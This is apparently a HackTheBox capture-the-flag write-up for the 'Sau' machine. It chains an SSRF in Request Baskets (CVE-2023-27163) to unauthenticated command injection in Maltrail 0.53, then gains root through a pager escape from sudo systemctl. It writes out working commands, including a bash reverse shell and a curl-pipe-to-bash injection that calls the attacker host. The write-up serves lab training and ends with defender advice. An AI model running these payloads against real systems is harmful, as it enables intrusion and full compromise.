EASY LINUX CVE-2023-27163
Sau
March 25, 2026 9 min read CVE-2023-27163
SSRFSSRF ChainRCE
Target IP
10.129.3.25
OS
Linux
Difficulty
Easy
Platform
HackTheBox

Recon

Port 80 showed as filtered — the firewall dropped packets instead of refusing them. Port 55555 was open and running an HTTP service. I hit that first.

$ nmap -sC -sV -p 22,80,55555 -oN nmap/initial 10.129.3.25
22/tcp    open   ssh     OpenSSH 8.2p1 Ubuntu
80/tcp    filtered http
55555/tcp open   unknown
| fingerprint-strings:
|   GetRequest, HTTPOptions:
|     HTTP/1.0 302 Found
|     Location: http://10.129.3.25:55555/web
  

Port 55555 redirected to /web — a web UI for Request Baskets v1.2.1. Request Baskets is a self-hosted HTTP request collector (like webhook.site or requestbin). It's used to inspect incoming HTTP requests. Version 1.2.1 is vulnerable to SSRF.

Enumeration

CVE-2023-27163: Request Baskets ≤ 1.2.1 allows the forward_url basket configuration parameter to point to any internal address without restriction. With proxy_response: true, the service acts as a transparent SSRF proxy — requests to your basket are forwarded to the internal URL and the response is returned to you.

I created a basket configured to forward to the filtered internal port 80:

$ curl -s -X POST http://10.129.3.25:55555/api/baskets/test \
  -H "Content-Type: application/json" \
  -d '{"forward_url":"http://127.0.0.1:80","proxy_response":true,"insecure_tls":false,"expand_path":true,"capacity":200}'
{"token":"...","short_url":"http://10.129.3.25:55555/test"}

$ curl -s http://10.129.3.25:55555/test
<!DOCTYPE html>
<title>Maltrail</title>
...Maltrail v0.53...
  

Internal port 80 is running Maltrail v0.53 — a network traffic monitoring and threat detection system. This version has an unauthenticated OS command injection in the login endpoint.

CVE Chain
CVE-2023-27163 (SSRF) → Maltrail 0.53 unauthenticated RCE. The SSRF bypasses the firewall filtering on port 80, exposing the Maltrail instance which is only intended for internal access.

Foothold

Maltrail 0.53 passes the username POST parameter to a Python subprocess call without sanitization. A semicolon followed by a shell command executes as the process owner.

# reverse shell script
$ cat s.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.X/4444 0>&1
$ python3 -m http.server 80 &
$ nc -lvnp 4444 &

# inject via the basket SSRF proxy → Maltrail login endpoint
$ curl -s -X POST "http://10.129.3.25:55555/test/login" \
  --data "username=;curl+http://10.10.14.X/s.sh|bash&password=test"
  
connect to [10.10.14.X] from (UNKNOWN) [10.129.3.25] 52684
puma@sau:/opt/maltrail$ id
uid=1001(puma) gid=1001(puma) groups=1001(puma)
  

Privilege Escalation

puma@sau:~$ sudo -l
User puma may run the following commands on sau:
    (ALL) NOPASSWD: /usr/bin/systemctl status trail.service
  

The sudo command runs systemctl status which opens its output in less when the output exceeds the terminal height. In less, the ! command executes a shell command directly. This is a documented shell escape from interactive pagers.

puma@sau:~$ sudo /usr/bin/systemctl status trail.service
● trail.service - Maltrail. Server of malicious traffic detection system
     Loaded: loaded (/etc/systemd/system/trail.service; enabled)
     Active: active (running)
   Main PID: 891 (python3)
-- output continues, less pager opens --
# in the less pager, type: !bash
root@sau:/home/puma# id
uid=0(root) gid=0(root) groups=0(root)
  

Flags

User Flag
/home/puma/user.txt
Root Flag
/root/root.txt

Lessons Learned

Defender Note
Validate SSRF-susceptible URL parameters against an allowlist of permitted destinations. Never allow forwarding to loopback addresses (127.0.0.1) or internal RFC1918 ranges. When granting sudo access to systemctl status, be aware that the pager used can be escaped — consider using SYSTEMD_PAGER="" to disable the pager entirely.
← All Posts